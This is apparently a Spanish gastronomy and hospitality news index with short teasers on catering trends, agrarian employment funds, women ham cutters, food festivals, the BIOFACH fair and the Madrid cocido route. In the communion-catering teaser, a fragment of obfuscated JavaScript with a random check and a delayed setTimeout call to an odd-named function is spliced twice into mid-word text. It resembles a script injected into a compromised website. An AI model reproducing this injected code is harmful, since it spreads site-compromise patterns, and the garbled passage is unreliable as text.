“Coffee break or Lunch” para las empresas españolas

No se trata de nada nuevo pero sí de algo que, con la crisis que aún perdura y que comenzó en el año 2008, había disminuido en cantidad y calidad en nuestro país. Las empresas comenzaron a ejecutar serios recortes, no solo en el personal, sino también en sus presupuestos para marketing y comunicación. Fue […]

El empleo agrario recibirá más de 216 millones de euros en 2016

El empleo agrario recibirá este año 216.104.251,54 euros, según el acuerdo llevado a cabo en la Comisión de Seguimiento de los Acuerdos AEPSA (Acuerdo para el Empleo y la Protección Social Agrarios), para desarrollar el Programa de Fomento de Empleo Agrario (PROFEA). En la reunión mantenida ayer entre la directora general del Servicio Público de […]

Las mujeres reivindican el oficio de Cortadoras de Jamón

Vísperas del día de la mujer, tenemos en nuestra redacción las fotos de las primeras mujeres cortadoras de jamón formadas por la Selección Profesional de Cortadores de Jamón, SPCJ. A estas alturas, aún no hay un título oficial que acredite la formación desde el ministerio de Educación, pero gracias a los cursos privados que ofrece […]

Los periodistas eligen restaurante

Un buen restaurante no lo hacen los personajes conocidos y famosos que lo visitan, hay muchísimo trabajo detrás, no solo en cocina, que es lo que realmente lo hace posible. Pero eso no quita que los famosos quieran conocerlos y disfrutar de ellos. En el mundo de las modas y tendencias suele haber un denominador común: la […]

I Jornadas de la Albóndiga en los Galayos

Habiendo organizado jornadas gastronómicas en honor a platos como el cochinillo, el tubérculo, el rabo de toro, las judías o las carrilladas, no podían dejar de lado a un clásico de la gastronomía de medio mundo que gusta a toda la familia: la albóndiga. Del 8 al 21 de febrero se celebra en Los Galayos las “I Jornadas de […]

Tendencias: se implanta el catering tipo cóctel para las comuniones

Rubén Guerra: Sí, podemos decir que está de moda. A estas alturas de mes, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando Cupido va asomandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sus fechas, los padres comienzan a organizar uno de los eventos más importantes para sus hijos: La Primera Comunión.  A menudo nos preguntamos si esta ceremonia, que […]

Productos ecológicos españoles en la Feria BIOFACH 2016

Del 10 al 13 de febrero en Nüremberg (Alemania) La feria, considerada como el encuentro internacional más importante en el ámbito de los productos ecológicos, ofrece una amplia  panorámica  sobre la investigación, la producción, la transformación y la comercialización. ​El Ministerio de Agricultura, Alimentación y Medio Ambiente promociona los productos ecológicos españoles en la Feria Internacional de […]

La VI Ruta del Cocido Madrileño incorpora una receta histórica

Del 13 de febrero al 31 de Marzo. 33 restaurantes participan en la sexta edición de la Ruta del Cocido Madrileño, del viernes 13 de febrero al jueves 31 de marzo. Desde locales centenarios de la capital a nuevos establecimientos de otros puntos de la región. Todos sirven su propia versión de una de las […]